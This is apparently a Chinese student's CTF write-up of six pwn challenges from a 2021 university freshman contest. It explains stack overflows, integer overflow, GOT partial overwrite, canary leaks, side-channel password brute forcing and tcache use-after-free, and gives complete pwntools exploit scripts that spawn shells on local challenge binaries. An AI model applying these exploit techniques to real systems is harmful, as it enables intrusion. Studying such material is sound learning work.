前段时间的极客大挑战 2021 和 2021 年的 SCU 新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了。太菜了呜呜呜。极客大挑战因为打太久了,题目都快忘记了,就不写 wp 了。
# ret2text
简单的栈溢出,pwn 里的 hello world。
1 2 3 4 5 6 7 8 from pwn import *r = process("/mnt/hgfs/ubuntu/stackoverflow" ) elf = ELF("/mnt/hgfs/ubuntu/stackoverflow" ) payload = b'a' *0x38 +p64(elf.symbols["backdoor" ]) r.recvuntil(b"Do you know stack overflow and ret2text?" ) r.sendline(payload) io.interactive()
# ret2shellcode
最基础的 shellcode,可以自己写,也可以直接用 pwntools 里的 shellcraft 模块
1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch="amd64" ,os="linux" ) r = process("/mnt/hgfs/ubuntu/ret2shellcode" ) r.recvuntil(b"Your input will be saved at " ) shellcode_addr = int (r.recvuntil(b'\n' ),16 ) shellcode = asm(shellcraft.sh()) r.recvuntil("Input: " ) payload = shellcode.ljust(0x88 ,b'a' )+p64(shellcode_addr) r.sendline(payload) r.interactive()
# quiz
在线测试题,主要考察整数溢出和汇编的问题。
# ret2libc
链接:https://pan.baidu.com/s/1T94IbzZpAWCherOfZl5xQw
提取码:F1re
checksec 一下,除了 canary 保护外全开。
# 思路
# 0x1 地址泄露
choice 选择 1 后可以泄露一些地址,其中泄露了一个函数的地址,和 puts 函数的地址,可以通过这两个得到 elf 文件基址和 libc 基址。
# 0x2 栈溢出
然后就是 choice 选择 2 后一个明显的栈溢出漏洞。
不过这道题有点搞的是,我用 system+/bin/sh 的方式不能 getshell,最后用 one_gadget 成功 getshell。最后注意用一个 ret 指令平衡栈帧。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *libc = ELF('/mnt/hgfs/ubuntu/ret2libc/libc-2.23.so' ) r.recvuntil("Your choice: " ) r.sendline(b'1' ) r.recvuntil("You need to figure it out:" ) r.recvuntil("0xdeadbeef " ) elf_addr = int (r.recv(14 ),16 ) elf_base = elf_addr-0x13d3 r.recv(1 ) puts_addr=int (r.recv(14 ),16 ) print (hex (puts_addr))libc_base=puts_addr-libc.symbols["puts" ] system_addr = libc_base+libc.symbols["system" ] bin_sh = 0x18ce57 one_gadget = libc_base+0xf03a4 pop_rdi = 0x1613 +elf_base ret = elf_base+0x101a print ("elf_base:" +hex (elf_base))print ("libc_base: " +hex (libc_base))r.recvuntil("Your choice: " ) payload =b'a' *0x18 +p64(ret)+p64(one_gadget) r.sendline(b'2' ) r.recvuntil("input: " ) r.sendline(payload) r.interactive()
# got_it
链接:https://pan.baidu.com/s/1V9_FA8XIHravKt9ZtXhQIw
提取码:F1re
checksec 一下,除了 RELEO 保护,其他保护全开。
函数定义了一个数组,数组储存了几个学 pwn 的经典网站,函数有三个功能:
# 思路
# 0x1 溢出
存在 0x8 的溢出长度。
# 0x2 控制函数指针
其中 0x36E0 后储存的是数组变量的地址。
而 0x36E0 前储存的是数组变量。
结合之前我们发现的 0x8 的溢出长度,可以对 0x36D0 处最后一个网址使用 edit 函数,可覆写到储存第一个数组元素的指针。
# 0x3 pie 绕过,改写 GOT 表
由于程序未开 RELEO 保护,我们可以考虑改写函数 GOT 表,又由于程序开了 pie 保护,我们打算用 partial write 绕过。
发现 atoi_addr 与第一个函数指针之间只有最后一个字节不一样。因此我们只用覆写指针第一个字节为’\x40’。利用 show 函数泄露函数真实地址,从而计算出 libc 基址,然后再 edit 数组第一个元素,即可把 atoi_got 改写为 one_gadget 的值。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *elf = ELF('/mnt/hgfs/ubuntu/got_it/got_it' ) libc = ELF('/mnt/hgfs/ubuntu/got_it/libc-2.23.so' ) def show (id ): r.recvuntil("> " ) r.sendline(str (1 )) r.recvuntil("which? " ) r.sendline(str (id )) def edit (id ,content ): r.recvuntil("> " ) r.sendline(str (2 )) r.recvuntil("which? " ) r.sendline(str (id )) r.recvuntil("your new website: " ) r.send(content) payload = b'a' *0x10 +b'\x40' edit(4 ,payload) show(0 ) r.recvuntil("website: " ) atoi_addr = u64(r.recv(6 ).ljust(8 ,b'\0' )) print ("atoi_got: " +hex (atoi_addr))libc_base = atoi_addr - libc.symbols["atoi" ] print ("libc_base: " +hex (libc_base))one_gadget = 0xf1247 +libc_base payload2= p64(one_gadget) edit(0 ,payload2) r.interactive()
# safe_copy
链接:https://pan.baidu.com/s/1HFxgh0mnrWJt76LBc9t9pw
提取码:F1re
真丶题如其意。checksec,保护全开。
IDA 反汇编出来代码有点乱,花了半个小时才大概理解程序流程。
函数主要流程是
读取 0x100 大小的内容到 buf 数组中,读取 offset,Max_copylen,boundary 三个属性。
初始化 0x10 大小的 s 数组,全用 “#” 填充,同时将 s 数组相邻的 0x90 大小的栈空间内也全用 “#” 填充。
读取 copy_len,开始从 buf 数组中向 s 数组中 copy。
offset 确定了从 s 数组的第几个下标开始 copy,max_copylen 确定了最大 copy 长度,boundary 定义的则是最多能够 copy 到的 s 数组的最大下标。
以上的程序流程可以不断重复,直到输入到 buf 数组中的值为 "exit \n"。
理解程序流程后,我们可以基本肯定漏洞只能从几个参数:offset,Max_copylen,boundary,copy_len 几个参数上动手脚。因此我着重查看处理那几个参数的函数,并且检查参数本身逻辑并没问题,那么漏洞基本上只能出在整数溢出上。
# 思路
# 0x1 整数溢出
显然我们是想控制 offset 的值,达到 copy 到栈溢出的位置。检查到
1 if ( offset < 0 || boundary > 0x100 || max_copylen <= 0 || offset + max_copylen >= (int )boundary )
发现 offset 与 max_copylen 均为 int 型变量,且 max_copylen 对程序 copy 流程无太大影响,因此我们可以令 max_copylen 为接近 INT_MAX 的值,利用整数溢出使得满足 offset + max_copylen <= (int) boundary ,并且也可以控制 offset 的值。
# 0x2 泄露 canary 与 libc 基址
可以观察到在 s 数组下方 0x8 地址处存在 canary 值与 libc_start_main_240 的地址,
由于 canary 第一位是’\0’,覆盖到 canary 第一位后,可以通过程序流程中的 put 泄露出 canary,** 使用 rjust 补足 canary。** 同时用相同方法泄露 libc_start_main_240 的地址,计算出 libc 基址,最后栈溢出 getshell。
最后在退出的时候倒是卡了半天… 需要在 buf 数组开头写入 "exit\n",且加上 "\0" 进行隔断 。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context.log_level = 'debug' elf = ELF('/mnt/hgfs/ubuntu/safe_copy/safe_copy' ) libc = ELF('/mnt/hgfs/ubuntu/safe_copy/libc-2.23.so' ) def copy (padding,start_offset,length,boundary,copylength ): r.recvuntil("Your input: " ) r.sendline(padding) r.recvuntil("Start offset: " ) r.sendline(str (start_offset)) r.recvuntil("Max copy len: " ) r.sendline(str (length)) r.recvuntil("Copy boundary: " ) r.sendline(str (boundary)) r.recvuntil("Copy len:" ) r.sendline(str (copylength)) copy(b'aaaaaaaaa' ,0x100 ,0x7fffffff ,11 ,9 ) r.recvuntil("Result:" ) r.recvuntil(b"aaaaaaaaa" ) canary = u64(r.recv(7 ).rjust(8 ,b'\0' )) print ("canary : " +hex (canary))copy(b'aaaaaaaa' *7 ,0x100 ,0x7fffffff ,100 ,56 ) r.recvuntil(b"aaaaaaaa" *7 ) libc_start_main_240 = u64(r.recv(6 ).ljust(8 ,b'\0' )) print ("libc_start_main_240: " +hex (libc_start_main_240))libc_base = libc_start_main_240-libc.symbols["__libc_start_main" ]-240 print ("libc_base: " +hex (libc_base))one_gadget = libc_base+0x45226 payload = p32(1953069157 )+b'\n' +b'\0' *3 +p64(canary)+b'a' *0x28 +p64(one_gadget) copy(payload,0x100 ,0x7fffffff ,0x100 ,64 ) r.interactive()
# login
链接:https://pan.baidu.com/s/1hCcdvfqdlc836UaT7CBGHQ
提取码:F1re
# 程序流程分析
一道题看一下午,仍然一点思路都没有。
程序流程:
自带一个 root 用户,id 为特殊的 0,密码通过 linux 中的 urandom 自动生成,每位密码的生成流程为:①从 /dev/urandom 中读取四位数字作为随机数种子。②调用 srand 函数。③生成一位密码。④直到生成 0x30 位密码
add user:添加用户,属性有①密码②id③密码长度。(id 不能为 0)
login:用户登入,如果登入的用户为 root 用户,拥有一个 UAF 漏洞。
delete user:删除用户。
# 思路
# root 用户
刚开始我认为 root 用户的密码在程序启动时就生成,并且每一位密码都有一个随机的种子,所以是无法爆破的。因此只能去将普通用户的 id 改为 0。于是我找了半天整数溢出的漏洞,想要把普通用户的 id 改为 0,最终无疾而终。
直到放出 hint:侧信道攻击。
网上百度了一下,侧信道攻击基本 = 爆破,不过是逐位爆破检查是否成功。
因此我仔细去检查了 check(密码检测)函数。
发现密码如果错误,会以 % s 打印出错误密码,% s 存在泄露后面数据的可能,因此我去查看了栈空间。
如图 var_30 的值对应 check 函数中的 v7 (也就是正确密码的个数)。
那就简单了,逐位爆破密码。
先定义基本函数体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 def add (index,id ,password ): r.sendline(b'1' ) r.recvuntil(b"Input user index: " ) r.sendline(str (index)) r.recvuntil(b"Input id: " ) r.sendline(str (id )) r.recvuntil(b"Input password len: " ) r.sendline(str (len (password))) r.recvuntil(b"Input password: " ) r.sendline(password) r.recvuntil(b"Add user done!" ) def login (id ,password ): r.sendline(b'2' ) r.recvuntil(b"Input user index: " ) r.sendline(str (id )) r.recvuntil(b"Input password: " ) r.sendline(password) def login1 (id ,password ): r.sendline(b'2' ) r.recvuntil(b"Input user index: " ) r.sendline(str (id )) r.recvuntil(b"Input password: " ) r.send(password) def delete (id ): r.sendline(b'3' ) r.recvuntil(b"Input user index: " ) r.sendline(str (id ))
爆破密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def burpsuit (): try_pwd = "" for i in range (48 ): for j in range (48 , 48 + 79 ): if i != 47 : login(0 ,try_pwd+ chr (j) + 'a' * (152 -(i + 1 ))) r.recvuntil(b'a' * ((152 - (i + 1 )))) number = u8(r.recv(1 )) if number == i + 1 : try_pwd += chr (j) break else : login(0 ,try_pwd + chr (j)) result = r.recv(1 ) if (result != b"W" ): try_pwd += chr (j) break print ("admin_passwd = " + try_pwd) print ("ok" )
# 泄露 libc 基址
进入 root 用户后,我们可以有一个 UAF 漏洞。而该题的 libc 版本较高,存在 Tcache 机制。因此我们先 add 6 个 user,并将其全部 free,将 6 个 Tcache 填满,然后利用 root 用户的 UAF 漏洞 free 一个堆块 A,这样堆块 A 将置入 unsortedbin 中,而 login 功能其实变相相当于 show 功能,因此我们可以利用 UAF 漏洞提取 unsortedbin 中的 fd 指针,而 fd 指针指向的地址与 main_arena 有固定偏移:
故可以泄露出 libc 基址。
1 2 3 4 5 6 7 8 9 for i in range (1 ,8 ): add(i,i,b'N1rvana' ) for i in range (1 ,8 ): delete(i) burpsuit() r.recvuntil("Input victim index: " ) r.sendline(b'0' ) r.recvuntil("Haha. Let's see what will happen." ) libc_base=leak_libc_base()
需要注意的是,用 login 函数爆破 libc 基址时需要注意一些特殊字节:
①"\0" 字节,若是爆破字节中出现 "\0" 字节,则由于 % s 的特性,输出到 "\0" 就会终止,不能回显正确密码个数。
由于:
1 2 3 4 5 if ( *(_BYTE *)buf == 10 ){ *(_BYTE *)buf = 0 ; return i; }
②"\n" 字节,输入 "\n" 字节密码输入直接终止。
因此我的 leak_libc_base 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def leak_libc_base (): try_base="" for i in range (6 ): for j in range (1 ,0xff ): if j!=10 : payload = try_base+chr (j)+ 'a' * (152 -i-1 ) login(0 ,payload) r.recvuntil(b'a' * (152 - i-1 )) number = u8(r.recv(1 )) print (number) if number == i + 1 : try_base = try_base+chr (j) break try_base =u64(try_base.ljust(8 ,'\0' )) libc_base=try_base-0x3ebca0 print (hex (libc_base)) return libc_base
# Tcache UAF attack
然后我就不会做了… 呜呜呜。
看了 wp 之后知道是 Tcache UAF attack。然后补足了拼图的最后一小块。
直接打 free_hook。
# exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *from ctypes import *r = process('/mnt/hgfs/ubuntu/login/login' ) elf = ELF('/mnt/hgfs/ubuntu/login/login' ) libc = ELF('/mnt/hgfs/ubuntu/login/libc_login.so' ) def add (index,id ,password ): r.sendline(b'1' ) r.recvuntil(b"Input user index: " ) r.sendline(str (index)) r.recvuntil(b"Input id: " ) r.sendline(str (id )) r.recvuntil(b"Input password len: " ) r.sendline(str (len (password))) r.recvuntil(b"Input password: " ) r.sendline(password) r.recvuntil(b"Add user done!" ) def login (id ,password ): r.sendline(b'2' ) r.recvuntil(b"Input user index: " ) r.sendline(str (id )) r.recvuntil(b"Input password: " ) r.sendline(password) def login1 (id ,password ): r.sendline(b'2' ) r.recvuntil(b"Input user index: " ) r.sendline(str (id )) r.recvuntil(b"Input password: " ) r.send(password) def delete (id ): r.sendline(b'3' ) r.recvuntil(b"Input user index: " ) r.sendline(str (id )) def burpsuit (): try_pwd = "" for i in range (48 ): for j in range (48 , 48 + 79 ): if i != 47 : login(0 ,try_pwd+ chr (j) + 'a' * (152 -(i + 1 ))) r.recvuntil(b'a' * ((152 - (i + 1 )))) number = u8(r.recv(1 )) if number == i + 1 : try_pwd += chr (j) break else : login(0 ,try_pwd + chr (j)) result = r.recv(1 ) if (result != b"W" ): try_pwd += chr (j) break print ("admin_passwd = " + try_pwd) print ("ok" ) def leak_libc_base (): try_base="" for i in range (6 ): for j in range (1 ,0xff ): if j!=10 : payload = try_base+chr (j)+ 'a' * (152 -i-1 ) login(0 ,payload) r.recvuntil(b'a' * (152 - i-1 )) number = u8(r.recv(1 )) print (number) if number == i + 1 : try_base = try_base+chr (j) break try_base =u64(try_base.ljust(8 ,'\0' )) libc_base=try_base-0x3ebca0 print (hex (libc_base)) return libc_base for i in range (1 ,8 ): add(i,i,b'N1rvana' ) for i in range (1 ,8 ): delete(i) burpsuit() r.recvuntil("Input victim index: " ) r.sendline(b'0' ) r.recvuntil("Haha. Let's see what will happen." ) libc_base=leak_libc_base() for i in range (1 ,8 ): add(i,i,b'N1rvana' ) add(8 ,8 ,b'invincible' ) delete(8 ) delete(0 ) add(9 ,9 ,p64(libc_base+libc.symbols["__free_hook" ])) add(10 ,10 ,b'/bin/sh' ) add(11 ,11 ,p64(libc_base+libc.symbols["system" ])) delete(10 ) r.interactive()